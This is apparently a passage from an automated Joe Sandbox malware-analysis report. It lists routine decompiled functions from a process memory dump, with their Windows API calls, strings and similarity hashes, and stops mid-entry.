CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00F559F9

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 37ccab93f5c658b9bae5f61c29344ec06df0ca644c3e432e4c5dc504005c158b
Instruction ID: 88d5c626d256945597f8b3d9c77b74b7860d1b2d1f48c732dc879c2f3773a497
Opcode Fuzzy Hash: 37ccab93f5c658b9bae5f61c29344ec06df0ca644c3e432e4c5dc504005c158b
Instruction Fuzzy Hash: D4F0903224055CBBE3615B929C0DEFF7B3CEFC6B21F400159FA0091050EBA01A15A7B5

Function 00F577EB Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00F577FE
EnterCriticalSection.KERNEL32(?,?,00EFC2B6,?,?), ref: 00F5780F
TerminateThread.KERNEL32(00000000,000001F6,?,00EFC2B6,?,?), ref: 00F5781C
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00EFC2B6,?,?), ref: 00F57829

Part of subcall function 00F571F0: CloseHandle.KERNEL32(00000000,?,00F57836,?,00EFC2B6,?,?), ref: 00F571FA

InterlockedExchange.KERNEL32(?,000001F6), ref: 00F5783C
LeaveCriticalSection.KERNEL32(?,?,00EFC2B6,?,?), ref: 00F57843

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 068d2e608ec54031d747a757b9951c904c9743d8447e3f7acf6caa181f5b0dd3
Instruction ID: 42b3695d7f8abb77005ae366aa6ff5d664f489ae869f233b33bcd7fd1327024d
Opcode Fuzzy Hash: 068d2e608ec54031d747a757b9951c904c9743d8447e3f7acf6caa181f5b0dd3
Instruction Fuzzy Hash: 1FF05E32545616ABD7912B64EC8CAFB772AFF45312B940421F602950A0CFB55809EB60

Function 00F4954A Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00F49555
UnloadUserProfile.USERENV(?,?), ref: 00F49561
CloseHandle.KERNEL32(?), ref: 00F4956A
CloseHandle.KERNEL32(?), ref: 00F49572
GetProcessHeap.KERNEL32(00000000,?), ref: 00F4957B
HeapFree.KERNEL32(00000000), ref: 00F49582

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 00a405d97f808a652a06a455942de6acbd597c6577ce1c5a1df5beb143c92ea1
Instruction ID: d9e153c113a9c0f212b3d47c3b6a97d67d827fd7ff65c0b3d187ff06b8109d79
Opcode Fuzzy Hash: 00a405d97f808a652a06a455942de6acbd597c6577ce1c5a1df5beb143c92ea1
Instruction Fuzzy Hash: CEE07576104609BBDB811FE5EC0C9AABF79FF49722B904621F22591474CF32A469EB50

Function 00F68CD7 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00F68CFD
CharUpperBuffW.USER32(?,?), ref: 00F68E0C
VariantClear.OLEAUT32(?), ref: 00F68F84

Part of subcall function 00F57B1D: VariantInit.OLEAUT32(00000000), ref: 00F57B5D
Part of subcall function 00F57B1D: VariantCopy.OLEAUT32(00000000,?), ref: 00F57B66
Part of subcall function 00F57B1D: VariantClear.OLEAUT32(00000000), ref: 00F57B72

Strings

AUTOIT.ERROR, xrefs: 00F68E12
Incorrect Parameter format, xrefs: 00F68D35, 00F68EF7

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: d3069c18800a7b67b843c6be1a869ddb3b0fae6acb2ebbfb1c626d282f6c38ff
Instruction ID: 686191d887c1508254d4c6b190fa9f21541bc0f2bafe683ae3ec2a8aeceb3370
Opcode Fuzzy Hash: d3069c18800a7b67b843c6be1a869ddb3b0fae6acb2ebbfb1c626d282f6c38ff
Instruction Fuzzy Hash: D8919F716083019FC710DF24C88096BBBF5EF99354F048A6EF9899B3A1DB31E946DB52

Function 00F5323D Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 195windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F0436A: _wcscpy.LIBCMT ref: 00F0438D

_memset.LIBCMT ref: 00F5332E
GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00F5335D
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00F53410
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00F5343E

Strings

0, xrefs: 00F5331A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 6290d2d504b1b2be976924374151b2bd355a4b0a9d5a322899ce668fb34a4d73
Instruction ID: cf5f52c2fb07fa3d7db3ec0a5b26cd5d0f1aad1a89b08cc5e6d2aa32bcdd00a5
Opcode Fuzzy Hash: 6290d2d504b1b2be976924374151b2bd355a4b0a9d5a322899ce668fb34a4d73
Instruction Fuzzy Hash: BE51C031A083009BD716DA2CC84566BB7E8AF453A2F044A2DFE95931E1DB74DA48BB52

Function 00F52EFA Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F52F67
GetMenuItemInfoW.USER32(00000004,00000000,00000000,?), ref: 00F52F83
DeleteMenu.USER32(?,00000007,00000000), ref: 00F52FC9
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,00FB7890,00000000), ref: 00F53012

Strings

0, xrefs: 00F52F5C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 5b2b3a9067d97955ac94a01e69f12fa0099e6ce6e0f533ca4fa67b0f66429026
Instruction ID: 8cf57637fe8cd09b69d22c7d085668e7f6d5d9b56cbd7811fdd993987ac5e365
Opcode Fuzzy Hash: 5b2b3a9067d97955ac94a01e69f12fa0099e6ce6e0f533ca4fa67b0f66429026
Instruction Fuzzy Hash: 144115316043419FD720DF28CC84B5ABBE4AF85365F04461DFE65972D1DB70EA09EB62

Function 00F49A48 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F4B79A: GetClassNameW.USER32(?,?,000000FF), ref: 00F4B7BD

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 00F49ACC
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 00F49ADF
SendMessageW.USER32(?,00000189,?,00000000), ref: 00F49B0F

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

Strings

ListBox, xrefs: 00F49A8B
ComboBox, xrefs: 00F49A56

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$_memmove$ClassName
String ID: ComboBox$ListBox
API String ID: 365058703-1403004172
Opcode ID: 290bfcb28db9939786e35a39d075d01f4ef1f35990c83df3604c8b870e507387
Instruction ID: e8b4994039b3c031c9b5d223d4a0466c053a7ed30650dbb24603daa3af82b5d2
Opcode Fuzzy Hash: 290bfcb28db9939786e35a39d075d01f4ef1f35990c83df3604c8b870e507387
Instruction Fuzzy Hash: 6521E471E04104BEDB24ABA0DC46DFFBBA8EF85360F104119F825972D1DB784A49B620

Function 00F76A0C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF2111: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00EF214F
Part of subcall function 00EF2111: GetStockObject.GDI32(00000011), ref: 00EF2163
Part of subcall function 00EF2111: SendMessageW.USER32(00000000,00000030,00000000), ref: 00EF216D

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00F76A86
LoadLibraryW.KERNEL32(?), ref: 00F76A8D
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00F76AA2
DestroyWindow.USER32(?), ref: 00F76AAA

Strings

SysAnimate32, xrefs: 00F76A61

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: f6294fa45708ef6ee68f48f39c236318475bca00a0838ef5171beb9a65e15881
Instruction ID: 06ab863f0bd8dda7397374e6a725ee6a8205d9a848350cd10c8b1afbc8e06943
Opcode Fuzzy Hash: f6294fa45708ef6ee68f48f39c236318475bca00a0838ef5171beb9a65e15881
Instruction Fuzzy Hash: E8218E71600609AFFF108E649C80EBB77ADEB59334F50C61AFA58E2190D739DC51BB61

Function 00F57357 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 00F57377
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00F573AA
GetStdHandle.KERNEL32(0000000C), ref: 00F573BC
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 00F573F6

Strings

nul, xrefs: 00F573F1

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: a205eca9bb47e21a2c6fa61ae5958aa5e802cc89718851e8659e8e796ff0b7ab
Instruction ID: 4324939fd0e728abcfcf574160b550b582eeb4509c00393bad0e85628496074c
Opcode Fuzzy Hash: a205eca9bb47e21a2c6fa61ae5958aa5e802cc89718851e8659e8e796ff0b7ab
Instruction Fuzzy Hash: 6F21AC715083069FDB10AF65EC05A997BE4AF45731F204A19FDA0D72D0D771D858FB50

Function 00F57425 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 00F57444
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 00F57476
GetStdHandle.KERNEL32(000000F6), ref: 00F57487
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 00F574C1

Strings

nul, xrefs: 00F574BC

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 4b925e7ece16ae0bb2a5f7f8c08a9bb4cc8a0e7396b1ee63e09dc7275d551d93
Instruction ID: 13755e82be8d208ce738020a69132ed32f6e38e6e921eb8e6d86675dec63f821
Opcode Fuzzy Hash: 4b925e7ece16ae0bb2a5f7f8c08a9bb4cc8a0e7396b1ee63e09dc7275d551d93
Instruction Fuzzy Hash: B921A771908305DBDB20EF69AC48E997BA8AF55731F200B19FEB0D72D0DB709858EB51

Function 00F5B283 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00F5B297
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 00F5B2EB
__swprintf.LIBCMT ref: 00F5B304
SetErrorMode.KERNEL32(00000000,00000001,00000000,00F80980), ref: 00F5B342

Strings

%lu, xrefs: 00F5B2FE

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 2b68e943634286e3acd5c11f1c4ce238818d29839f66d1bb9baadb5c2db74ac4
Instruction ID: 504fb625abf50447fb9d0d658ba53fddfc1ad71f5e1d91343fa67f74563854a2
Opcode Fuzzy Hash: 2b68e943634286e3acd5c11f1c4ce238818d29839f66d1bb9baadb5c2db74ac4
Instruction Fuzzy Hash: 60218371A0010CAFCB10EF64CC85DEEBBB8EF89714B104069F909E7252DB71EA45DB61

Function 00F4AC05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

Part of subcall function 00F4AA52: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00F4AA6F
Part of subcall function 00F4AA52: GetWindowThreadProcessId.USER32(?,00000000), ref: 00F4AA82
Part of subcall function 00F4AA52: GetCurrentThreadId.KERNEL32 ref: 00F4AA89
Part of subcall function 00F4AA52: AttachThreadInput.USER32(00000000), ref: 00F4AA90

GetFocus.USER32 ref: 00F4AC2A

Part of subcall function 00F4AA9B: GetParent.USER32(?), ref: 00F4AAA9

GetClassNameW.USER32(?,?,00000100), ref: 00F4AC73
EnumChildWindows.USER32(?,00F4ACEB), ref: 00F4AC9B
__swprintf.LIBCMT ref: 00F4ACB5

Strings

%s%d, xrefs: 00F4ACAF

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Thread$AttachChildClassCurrentEnumFocusInputMessageNameParentProcessSendTimeoutWindowWindows__swprintf_memmove
String ID: %s%d
API String ID: 1941087503-1110647743
Opcode ID: 7a18ad13a60ac6fc2c4b395c290bbdc8e08472d2bc25a1539084802520b0e487
Instruction ID: d0566e66a267d8e49d372fe72a1dd69f8c35d7dda72a0727a80848b1233df673
Opcode Fuzzy Hash: 7a18ad13a60ac6fc2c4b395c290bbdc8e08472d2bc25a1539084802520b0e487
Instruction Fuzzy Hash: 4411B775640205ABDF51BFA0CD85FEA3B6CAF45710F004075FE18AA182DA789949FB71

Function 00F522E7 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 49COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00F52318

Strings

REMOVE, xrefs: 00F5231E
EXISTS, xrefs: 00F52340
APPEND, xrefs: 00F52351
KEYS, xrefs: 00F5232F

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BuffCharUpper
String ID: APPEND$EXISTS$KEYS$REMOVE
API String ID: 3964851224-769500911
Opcode ID: 8c7b0a55209408759533dd234b71281c2024bc2892b68287bc8b1364107669c6
Instruction ID: 063be5cfa0d454f0a9ae36bad24eb54d3ba0676e91f8b543c18eef6aadc3f4fe
Opcode Fuzzy Hash: 8c7b0a55209408759533dd234b71281c2024bc2892b68287bc8b1364107669c6
Instruction Fuzzy Hash: CE118B70900119DFCF40EFA4D8504EEB3B4FF16304B508168E810A72A2EF3A6E4AEF40

Function 00F6F23E Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00F6F2F0
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00F6F320
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 00F6F453
CloseHandle.KERNEL32(?), ref: 00F6F4D4

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 634d2e65a34a84fed75b9e73bf07ad3c22216d42a4c62c924d08a861de60460b
Instruction ID: a67f96b0a0b15b3a4b650c4be7a16830b8d614e0981cf1ff7f849de13b606c83
Opcode Fuzzy Hash: 634d2e65a34a84fed75b9e73bf07ad3c22216d42a4c62c924d08a861de60460b
Instruction Fuzzy Hash: 7E8161B16047049FD720EF24D846F3BB7E5AF44720F14892DFA59AB2D2DB71AC448B51

Function 00F70697 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00F01A36: _memmove.LIBCMT ref: 00F01A77

Part of subcall function 00F7147A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00F7040D,?,?), ref: 00F71491

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00F7075D
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00F7079C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00F707E3
RegCloseKey.ADVAPI32(?,?), ref: 00F7080F
RegCloseKey.ADVAPI32(00000000), ref: 00F7081C

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 290a788f74ea45254b15a9eb32d5c78960543b1b4f097aedfa10f0dc185c0aeb
Instruction ID: 58390ad9c5c43372f99e967858a91dbb66fc122835d55b02dd20e43e7f23c752
Opcode Fuzzy Hash: 290a788f74ea45254b15a9eb32d5c78960543b1b4f097aedfa10f0dc185c0aeb
Instruction Fuzzy Hash: 50514A71208204EFD714EF64CC81F6AB7E9BF84314F00891EF59997292DB34E905EB52

Function 00F5EBB4 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00F5EC62
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 00F5EC8B
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00F5ECCA

Part of subcall function 00EF4D37: __itow.LIBCMT ref: 00EF4D62
Part of subcall function 00EF4D37: __swprintf.LIBCMT ref: 00EF4DAC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00F5ECEF
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00F5ECF7

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: a7c31d84abae30d36a3ad0fea5506d6fd9318666c5bf74f24917d4b26a566fff
Instruction ID: 0693c7b421fdfe80cb8aac48c534b79e356eba922253657664f64f4a8dfff423
